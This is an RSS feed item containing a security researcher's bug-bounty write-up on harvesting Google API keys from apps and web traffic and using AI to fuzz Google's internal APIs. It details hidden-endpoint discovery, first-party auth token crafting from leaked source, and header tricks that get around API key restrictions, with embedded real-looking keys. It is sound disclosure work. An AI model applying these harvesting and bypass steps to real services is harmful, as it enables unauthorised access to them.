<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Brutecat · Research</title>
        <link>https://brutecat.com</link>
        <description>A web security blog.</description>
        <lastBuildDate>Thu, 11 Jun 2026 10:12:33 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>Brutecat · Research</title>
            <url>https://brutecat.com/brand/favicon.svg</url>
            <link>https://brutecat.com</link>
        </image>
        <copyright>brutecat.com</copyright>
        <item>
            <title><![CDATA[Hacking Google with A.I. for $500,000]]></title>
            <link>https://brutecat.com/articles/hacking-google-with-ai</link>
            <guid isPermaLink="false">hacking-google-with-ai</guid>
            <pubDate>Thu, 11 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[What happens when you unleash an AI across all of Google's infrastructure? 1,500 APIs, 3,600 keys, and $500,000 in bounties later, here's what I found.]]></description>
            <content:encoded><![CDATA[<p>After being invited to <a href="https://x.com/brutecat/status/1974906110579745274" target="_blank" rel="noopener noreferrer">bugSWAT Mexico</a> in October 2025, I found myself drawn back to Google research. While I&#39;d been focused on other projects for several months, the team&#39;s willingness to give researchers a peek into Google&#39;s source code reignited my interest in exploring Google&#39;s attack surface.</p>
<p>Having spent the past year building small projects with Claude, I realized there was untapped potential in using AI to automatically fuzz Google&#39;s APIs at scale. The key to this approach? Google&#39;s discovery documents. For those unfamiliar, I&#39;d recommend reading <a href="/articles/decoding-google">my other article</a> for a deep dive, but here&#39;s a quick refresher:</p>
<p>Discovery documents are essentially Google&#39;s equivalent of Swagger docs - machine-readable API specifications that list all available endpoints, parameters, and methods. While they&#39;re publicly documented for APIs like the <a href="https://developers.google.com/youtube/v3" target="_blank" rel="noopener noreferrer">YouTube Data API</a>, they also exist for Google&#39;s internal APIs (like the Internal People API). Some discovery docs are <a href="https://people-pa.googleapis.com/$discovery/rest" target="_blank" rel="noopener noreferrer">publicly accessible</a>, while most <a href="https://protos.googleapis.com/$discovery/rest" target="_blank" rel="noopener noreferrer">require valid API keys</a>.</p>
<p>Here&#39;s an example from the YouTube Data API&#39;s discovery document:</p>
<pre><code class="hljs language-json">...
 <span class="hljs-attr">&quot;liveChatModerators&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;methods&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;insert&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;flatPath&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtube/v3/liveChat/moderators&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Inserts a new resource into this collection.&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;httpMethod&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;POST&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;parameters&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;part&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The *part* parameter serves two purposes in this operation. It identifies the properties that the write operation will set as well as the properties that the API response returns. Set the parameter value to snippet.&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;repeated&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;required&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;location&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;query&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;string&quot;</span>
        <span class="hljs-punctuation">}</span>
...</code></pre><h3 id="collecting-api-keys"><a class="anchor" href="#collecting-api-keys" aria-hidden="true">#</a>Collecting API Keys</h3><p>To access most discovery documents, you need a valid API key. API keys are embedded in virtually every Google app and service, but crucially, an API key found in one service will often have multiple other APIs enabled for its Google Cloud Platform (GCP) project. This means that collecting as many keys as possible would give us access to numerous Google APIs. For the key collection part, my friend <a href="https://michaeldalton.au" rel="noopener">Michael</a> and I teamed up.</p>
<p>We took an exhaustive approach. We scraped <a href="https://www.apkmirror.com/apk/google-inc/" target="_blank" rel="noopener noreferrer">over 60,000 Android APKs</a> (every version of every Google app ever released), unpacked them, and grepped for API keys.</p>
<pre><code class="hljs language-bash">user@siege:/mnt/data/apks$ <span class="hljs-built_in">ls</span> -1 | <span class="hljs-built_in">wc</span> -l
61200</code></pre><p>We built a Chrome extension using the <a href="https://developer.chrome.com/docs/extensions/reference/api/debugger" target="_blank" rel="noopener noreferrer">Chrome Debugger API</a> to intercept network traffic, then systematically visited all known Google web domains (2.8k+) and used every web app feature possible to capture keys from live requests.</p>
<div class="embedded-content" data-embed-src="/articles/embeds/hacking-google-with-ai/domain_tracking_sheet.html"></div><p>We also decrypted every Google IPA we could obtain and analyzed <a href="https://en.uptodown.com/developer/google-llc" target="_blank" rel="noopener noreferrer">any Google binaries we could find.</a></p>
<p>To keep things in scope for Google VRP and remove non-Google API keys (keys from third-party GCP projects), I used an interesting endpoint I found in the Cloud Marketplace API. First, we need the project number associated with the key&#39;s GCP project, which is revealed in the error message returned when using the key with a Google API it doesn&#39;t have enabled. For instance, fetching <a href="https://protos.googleapis.com/$discovery/rest?key=AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc" target="_blank" rel="noopener noreferrer">https://protos.googleapis.com/$discovery/rest?key=AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc</a> returns the error: <code>Protos API has not been used in project 244648151629 before</code>, revealing the project number. </p>
<p>The Cloud Marketplace endpoint takes this project number and returns information about the project:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1test/infoSharing/test/test/1044708746243</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudmarketplace.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc</code></pre><blockquote>
<p><code>1044708746243</code> is the target project number.</p>
</blockquote>
<p>This responds with the following:</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-perl">{
  <span class="hljs-string">&quot;company&quot;</span>: <span class="hljs-string">&quot;google.com&quot;</span>,
  <span class="hljs-string">&quot;email&quot;</span>: <span class="hljs-string">&quot;gvrptest2<span class="hljs-variable">@gmail</span>.com&quot;</span>,
  <span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;GVRP Test2&quot;</span>
}</span></code></pre><p>The <code>email</code> and <code>name</code> are for my authenticated Google account, but the <code>company</code> is the <strong>domain tied to the GCP project number</strong> we supplied. Running this endpoint through the GCP projects tied to all the keys allowed for filtering out non-Google API keys, by simply discarding keys not from <code>google.com</code> projects (or other acquisitions e.g <code>nest.com</code>, <code>fitbit.com</code>, <code>wing.com</code>).</p>
<p>With API keys collected, the next step was finding all Google API domains to scan. I used a combination of domains logged by the Chrome extension, brute-force generated names using keywords, and <a href="https://certificate.transparency.dev/" target="_blank" rel="noopener noreferrer">certificate transparency logs</a>. To verify if a domain was a live Google API, I made the following request:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>people-pa.googleapis.com</code></pre><p>Then I would check the <code>Server</code> response header:</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">404</span> Not Found
<span class="hljs-attribute">Date</span><span class="hljs-punctuation">: </span>Mon, 16 Feb 2026 08:46:31 GMT
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>ESF</code></pre><p>If this header existed (usually <code>ESF</code>, <code>GSE</code>, or <code>scaffolding on HTTPServer2</code>), then it was a valid Google API service that was alive and responding to requests.</p>
<h3 id="scanning-for-discovery-documents"><a class="anchor" href="#scanning-for-discovery-documents" aria-hidden="true">#</a>Scanning for Discovery Documents</h3><p>Equipped with valid API keys and a list of live Google API domains, I started mass scanning for open discovery documents. In July 2025, Google removed the <code>/$discovery/rest</code> path from most of their APIs, but if you&#39;re clever enough this is possible to bypass in some cases.</p>
<p>There was another layer of complexity. As covered in my previous article, certain Google Cloud projects have visibility labels enabled, giving them access to hidden endpoints that won&#39;t show up in discovery documents unless the <code>labels</code> parameter is provided. For example, if we fetch the Service Management API discovery document without labels:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/$discovery/rest</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>serviceusage.googleapis.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc</code></pre><p>The response is 253k bytes. However, with <code>?labels=GOOGLE_INTERNAL</code>:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/$discovery/rest?labels=GOOGLE_INTERNAL</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>serviceusage.googleapis.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc</code></pre><p>The response grows to <strong>329k bytes</strong>, revealing significantly more hidden documentation. The catch is that the labels parameter only accepts one label at a time. This meant testing every known label with every API key across all discovered APIs. The request volume was massive, but it was the only way to uncover endpoints hidden behind visibility labels.</p>
<p>After all this, I was able to get discovery documents for 1,500+ APIs. Combining these with discovery docs I&#39;d archived from my <a href="/articles/decoding-google">past research</a>, I was ready to start using AI to fuzz these automatically.</p>
<h3 id="authentication"><a class="anchor" href="#authentication" aria-hidden="true">#</a>Authentication</h3><p>We&#39;ve got authorization sorted thanks to API keys, but many endpoints also require <strong>authentication credentials</strong> to identify which Google account is calling the API. If you tried to use <a href="/articles/decoding-google/#generating-a-bearer-token">Bearer authentication</a> with an API key, you&#39;d get a mismatch error since bearer tokens themselves are tied to GCP projects:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">400</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The API Key and the authentication credential are from different projects.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INVALID_ARGUMENT&quot;</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>There&#39;s no known way around this using bearer authentication. Even if you use <code>X-Goog-User-Project: &lt;project_number&gt;</code>, it validates if your authenticated account has the <code>roles/serviceusage.serviceUsageConsumer</code> role in that GCP project. If you figure one out, <a href="mailto:root@brutecat.com">let me know</a>.</p>
<p>However, many APIs support Google&#39;s proprietary First Party Authentication (FPA), which does work with API keys. If you&#39;ve ever looked at how Google APIs work on the web:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/items:get?key=AIzaSyD_InbmSFufIEps5UAt2NmB_3LvBH3Sz_8</span> <span class="hljs-meta">HTTP/3</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>drivefrontend-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>SAPISIDHASH &lt;redacted&gt; SAPISID1PHASH &lt;redacted&gt; SAPISID3PHASH &lt;redacted&gt;
<span class="hljs-attribute">X-Goog-Authuser</span><span class="hljs-punctuation">: </span>0
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://drive.google.com
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://drive.google.com/</code></pre><p>The requests include the Google account session <code>Cookie</code> as well as an <code>Authorization</code> value computed from the cookie. They&#39;re also sent to the hostname <code>*.clients6.google.com</code> instead of <code>*.googleapis.com</code>. There&#39;s a well-known <a href="https://stackoverflow.com/a/32065323" target="_blank" rel="noopener noreferrer">Stack Overflow post</a> on this, however that doesn&#39;t cover the full picture. Many APIs like <code>drivefrontend-pa.googleapis.com</code> require a more complete version of Google&#39;s FPA v2 authorization header that embeds user identifiers like email addresses within the hash.</p>
<p>Thankfully, Michael spotted that Google accidentally leaked sourcemaps for some time on <a href="https://android-review.googlesource.com/q/status:open+-is:wip" target="_blank" rel="noopener noreferrer">https://android-review.googlesource.com/q/status:open+-is:wip</a> which allowed us to see Google&#39;s frontend source code for their internal <strong>gapix</strong> library, which contained code for generating the FPA v2 authorization header. </p>
<blockquote>
<p>You can find the full file <a href="/assets/hacking-google-with-ai/tokencrafter.js">here</a>.</p>
</blockquote>
<p>The new FPA system (v2) works as follows. Three user identifiers can be included in the hash:</p>
<pre><code class="hljs language-js"> * @param {?<span class="hljs-title class_">Array</span>&lt;{<span class="hljs-attr">key</span>:string,<span class="hljs-attr">value</span>:string}&gt;=} opt_userIdentifiers an
 * array <span class="hljs-keyword">of</span> {<span class="hljs-attr">key</span>:, <span class="hljs-attr">value</span>:} objects where <span class="hljs-string">&#x27;key&#x27;</span> <span class="hljs-attr">is</span>: &lt;li&gt;
 * &lt;ul&gt;<span class="hljs-string">&#x27;e&#x27;</span>: denotes that the corresponding <span class="hljs-string">&#x27;value&#x27;</span> is the user<span class="hljs-string">&#x27;s email address
 * &lt;ul&gt;&#x27;</span>u<span class="hljs-string">&#x27;: denotes that the corresponding &#x27;</span>value<span class="hljs-string">&#x27; is the user&#x27;</span>s
 *          focus-obfuscated <span class="hljs-title class_">Gaia</span> <span class="hljs-variable constant_">ID</span>
 * &lt;ul&gt;<span class="hljs-string">&#x27;a&#x27;</span>: denotes that the corresponding <span class="hljs-string">&#x27;value&#x27;</span> is the user account<span class="hljs-string">&#x27;s
 *          app domain (required only for dasher accounts)</span></code></pre><p>The token is then generated:</p>
<pre><code class="hljs language-ts"><span class="hljs-comment">// Extract identifier keys (e.g. &quot;e&quot;, &quot;u&quot;, &quot;a&quot;) and values (email, gaia id, domain)</span>
goog.<span class="hljs-property">array</span>.<span class="hljs-title function_">forEach</span>(userIdentifiers, <span class="hljs-keyword">function</span> (<span class="hljs-params">element, index, array</span>) {
  suffix.<span class="hljs-title function_">push</span>(element[<span class="hljs-string">&quot;key&quot;</span>]);        <span class="hljs-comment">// [&quot;e&quot;, &quot;u&quot;] -&gt; &quot;eu&quot;</span>
  identifiers.<span class="hljs-title function_">push</span>(element[<span class="hljs-string">&quot;value&quot;</span>]); <span class="hljs-comment">// [&quot;user@gmail.com&quot;, &quot;ABC123&quot;]</span>
});

<span class="hljs-comment">// Get current Unix timestamp</span>
<span class="hljs-keyword">const</span> timestamp = <span class="hljs-title class_">Math</span>.<span class="hljs-title function_">floor</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Date</span>().<span class="hljs-title function_">getTime</span>() / <span class="hljs-number">1000</span>);

<span class="hljs-comment">// Build SHA1 input: &quot;email:gaiaId timestamp sessionCookie origin&quot;</span>
<span class="hljs-keyword">if</span> (goog.<span class="hljs-property">array</span>.<span class="hljs-title function_">isEmpty</span>(identifiers)) {
  sha1Parts = [timestamp, sessionCookie, origin];
} <span class="hljs-keyword">else</span> {
  sha1Parts = [identifiers.<span class="hljs-title function_">join</span>(<span class="hljs-string">&quot;:&quot;</span>), timestamp, sessionCookie, origin];
}

<span class="hljs-comment">// Compute SHA1 hash of space-joined parts</span>
<span class="hljs-keyword">const</span> sha1 = gapix.<span class="hljs-property">auth_firstparty</span>.<span class="hljs-property">tokencrafter</span>.<span class="hljs-title function_">computeSha1_</span>(
  sha1Parts.<span class="hljs-title function_">join</span>(<span class="hljs-string">&quot; &quot;</span>)
);

<span class="hljs-comment">// Final token: &quot;timestamp_sha1hash_identifierKeys&quot; e.g. &quot;1739700391_abc123def_eu&quot;</span>
<span class="hljs-keyword">const</span> tokenParts = [timestamp, sha1];
<span class="hljs-keyword">if</span> (!goog.<span class="hljs-property">array</span>.<span class="hljs-title function_">isEmpty</span>(suffix)) {
  tokenParts.<span class="hljs-title function_">push</span>(suffix.<span class="hljs-title function_">join</span>(<span class="hljs-string">&quot;&quot;</span>));
}
<span class="hljs-keyword">return</span> tokenParts.<span class="hljs-title function_">join</span>(<span class="hljs-string">&quot;_&quot;</span>);</code></pre><blockquote>
<p>Gaia stands for &quot;Google Accounts and ID Administration&quot;. Every Google account has a sequential <strong>unobfuscated Gaia ID</strong> e.g 131337133377, as well as a longer identifier, the <strong>Focus-obfuscated Gaia ID</strong>, which looks like 101189998819991197253.</p>
</blockquote>
<p>So the final token format is <code>&lt;timestamp&gt;_&lt;hash&gt;_&lt;identifier_keys&gt;</code>. For example, a <a href="https://workspace.google.com/" target="_blank" rel="noopener noreferrer">Google Workspace user</a> (internally called <strong>dasher</strong>)&#39;s token might look like <code>1739700391_abc123def456_eua</code> where <code>eua</code> indicates the hash was computed using email, obfuscated Gaia ID, and Google Workspace domain. The origin used in the hash is the <code>Origin</code> header value (e.g. <a href="https://drive.google.com" target="_blank" rel="noopener noreferrer">https://drive.google.com</a>).</p>
<blockquote>
<p>A fun fact: There are only three possible user identifier keys: <code>u</code> for obfuscated Gaia ID, <code>e</code> for email, and <code>a</code> for Google Workspace domain. If you specify other letters, the API backend just ignores them. So it&#39;s actually possible to mint a valid auth header containing arbitrary strings - for example <code>&lt;timestamp&gt;_&lt;hash&gt;_googlesauthteamhatesthisoneweirdtrick</code></p>
</blockquote>
<h4 id="origin-whitelisting"><a class="anchor" href="#origin-whitelisting" aria-hidden="true">#</a>Origin Whitelisting</h4><p>The <code>Origin</code> header value here is important.</p>
<blockquote>
<p>This header is automatically added by web browsers and indicates the scheme/host of the current tab, which looks like <code>Origin: &lt;scheme&gt;://&lt;hostname&gt;[:&lt;port&gt;]</code></p>
</blockquote>
<p>Many APIs have a so-called &quot;origin whitelist&quot;. If you use a non-whitelisted origin, you get a misleading error like this:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">401</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;details&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;@type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;type.googleapis.com/google.rpc.ErrorInfo&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;domain&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;googleapis.com&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;metadata&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;cookie&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;UNKNOWN&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;method&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;google.internal.businessprocess.v1.BusinessProcess.GetIssue&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;service&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;businessprocess-pa.googleapis.com&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;reason&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;SESSION_COOKIE_INVALID&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;UNAUTHENTICATED&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>This <em>doesn&#39;t</em> mean that your cookie is invalid, but instead that you&#39;re using a non-whitelisted origin. The origin whitelist isn&#39;t documented anywhere, but using <a href="/articles/google-cloud-rce">the proto leak bug I found in my last writeup</a>, I checked the proto definition for <strong><code>gaia_mint.AllowedFirstPartyAuth</code></strong>:</p>
<pre><code class="hljs language-proto">syntax = <span class="hljs-string">&quot;proto3&quot;</span>;

<span class="hljs-keyword">package</span> gaia_mint;

<span class="hljs-keyword">message </span><span class="hljs-title class_">AllowedFirstPartyAuth</span> {
  <span class="hljs-keyword">enum </span><span class="hljs-title class_">FirstPartyOriginEnforcementLevel</span> {
    UNKNOWN = <span class="hljs-number">0</span>;
    MONITORING_ONLY = <span class="hljs-number">1</span>;
    PRODUCTION_ORIGINS_ONLY = <span class="hljs-number">2</span>;
    ENFORCE_ALL = <span class="hljs-number">3</span>;
  }

  <span class="hljs-type">bool</span> allow_insecure = <span class="hljs-number">1</span>;
  <span class="hljs-type">bool</span> allow_insecure_pvt = <span class="hljs-number">2</span>;
  <span class="hljs-type">bool</span> legacy_allow_all_origins = <span class="hljs-number">3</span>;
  FirstPartyOriginEnforcementLevel enforcement_level = <span class="hljs-number">4</span>;
  <span class="hljs-keyword">repeated</span> AllowedFirstPartyAuthOriginRule allowed_origin_rule = <span class="hljs-number">5</span>;
  <span class="hljs-keyword">repeated</span> <span class="hljs-type">string</span> skip_origin_check_for_test_user = <span class="hljs-number">6</span>;
  <span class="hljs-keyword">repeated</span> <span class="hljs-type">string</span> include_named_origin_rule_list = <span class="hljs-number">7</span>;
}

<span class="hljs-keyword">message </span><span class="hljs-title class_">AllowedFirstPartyAuthOriginRule</span> {
  <span class="hljs-type">string</span> origin = <span class="hljs-number">1</span>;
  <span class="hljs-type">bool</span> is_country_domain_prefix = <span class="hljs-number">2</span>;

  <span class="hljs-keyword">oneof</span> mutual_exclusive_options {
    <span class="hljs-type">bool</span> is_sharded_domain = <span class="hljs-number">3</span>;
    <span class="hljs-type">bool</span> allow_subdomains = <span class="hljs-number">4</span>;
  }
}</code></pre><p>This gives us a deeper look into how Google handles origin validation internally. We can see there are different enforcement levels and support for subdomain wildcards. APIs that allow all origins are likely using <code>legacy_allow_all_origins</code>.</p>
<h4 id="api-key-restrictions"><a class="anchor" href="#api-key-restrictions" aria-hidden="true">#</a>API Key Restrictions</h4><p>However, one issue I came across was that certain keys had certain header restrictions.</p>
<p>There are four different types of restriction: Server, Browser, Android, and iOS. These restrictions are also available for anyone to set on their own GCP project&#39;s keys, as documented in <a href="https://docs.cloud.google.com/api-keys/docs/add-restrictions-api-keys" target="_blank" rel="noopener noreferrer">https://docs.cloud.google.com/api-keys/docs/add-restrictions-api-keys</a></p>
<p>You can see these restrictions defined in Google&#39;s <a href="https://github.com/googleapis/googleapis/blob/83e70370751716489986478edc8713b455b21e86/google/api/error_reason.proto#L104" target="_blank" rel="noopener noreferrer">error_reason proto</a>:</p>
<pre><code class="hljs language-proto"><span class="hljs-comment">// Defines the supported values for `google.rpc.ErrorInfo.reason` for the</span>
<span class="hljs-comment">// `googleapis.com` error domain. This error domain is reserved for [Service</span>
<span class="hljs-comment">// Infrastructure](https://cloud.google.com/service-infrastructure/docs/overview).</span>
<span class="hljs-keyword">enum </span><span class="hljs-title class_">ErrorReason</span> {
  ...
  <span class="hljs-comment">// The request is denied because it violates [API key HTTP</span>
  <span class="hljs-comment">// restrictions](https://cloud.google.com/docs/authentication/api-keys#adding_http_restrictions).</span>
  API_KEY_HTTP_REFERRER_BLOCKED = <span class="hljs-number">7</span>;

  <span class="hljs-comment">// The request is denied because it violates [API key IP address</span>
  <span class="hljs-comment">// restrictions](https://cloud.google.com/docs/authentication/api-keys#adding_application_restrictions).</span>
  API_KEY_IP_ADDRESS_BLOCKED = <span class="hljs-number">8</span>;

  <span class="hljs-comment">// The request is denied because it violates [API key Android application</span>
  <span class="hljs-comment">// restrictions](https://cloud.google.com/docs/authentication/api-keys#adding_application_restrictions).</span>
  API_KEY_ANDROID_APP_BLOCKED = <span class="hljs-number">9</span>;

  <span class="hljs-comment">// The request is denied because it violates [API key iOS application</span>
  <span class="hljs-comment">// restrictions](https://cloud.google.com/docs/authentication/api-keys#adding_application_restrictions).</span>
  API_KEY_IOS_APP_BLOCKED = <span class="hljs-number">13</span>;
  ...
}</code></pre><p><strong>Server</strong> restrictions use IP address whitelists (which cannot be bypassed), but we found very few keys that actually <em>used</em> this type of restriction.</p>
<p>For <strong>Browser</strong> restrictions, a correct HTTP <code>Referer</code> (yes, this is <a href="https://en.wikipedia.org/wiki/HTTP_referer#Etymology" target="_blank" rel="noopener noreferrer">spelled incorrectly</a>) header is required:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/operations</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>servicemanagement.googleapis.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyAEEV0DrpoOQdbb0EGfIm4vYO9nEwB87Fw
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://vrptest.google.com</code></pre><blockquote>
<p>Some keys, like this one, allow the wildcard <code>*.google.com</code></p>
</blockquote>
<p>The tricky part with this is that you can&#39;t supply mismatched <code>Referer</code> and <code>Origin</code> headers. So if an endpoint has an Origin whitelist, you need to find a matching Referer and Origin in order to use the API.</p>
<p><strong>iOS</strong>, on the other hand, just requires the right <code>X-Ios-Bundle-Identifier</code> header:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/operations</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>servicemanagement.clients6.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBwu1q5p-HA745oE-YssxrrKu4UjaHv-7o
<span class="hljs-attribute">X-Ios-Bundle-Identifier</span><span class="hljs-punctuation">: </span>com.google.GoogleMobile</code></pre><p>Lastly, <strong>Android</strong> restrictions require two matching headers, <code>X-Android-Package</code> (the package name of the Android app) and <code>X-Android-Cert</code> (the SHA-1 signing certificate fingerprint):</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/operations</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>servicemanagement.clients6.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyAHYc-Xn7pR1bXTPACJcTF90qOf-YaBGqA
<span class="hljs-attribute">X-Android-Package</span><span class="hljs-punctuation">: </span>com.google.android.settings.intelligence
<span class="hljs-attribute">X-Android-Cert</span><span class="hljs-punctuation">: </span>dd5fe97609b3615afaa64c0fb41427db07151066</code></pre><p>During the API key collection process, we made sure to store all these values, and hence incorporated brute-forcing these values into the same program.</p>
<p>Another interesting thing was that there are no restrictions for using <code>*.corp.google.com</code> as a first-party authentication origin header. For instance:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/contentmanager/v1/item_paths</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>contentmanager.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://coco.corp.google.com
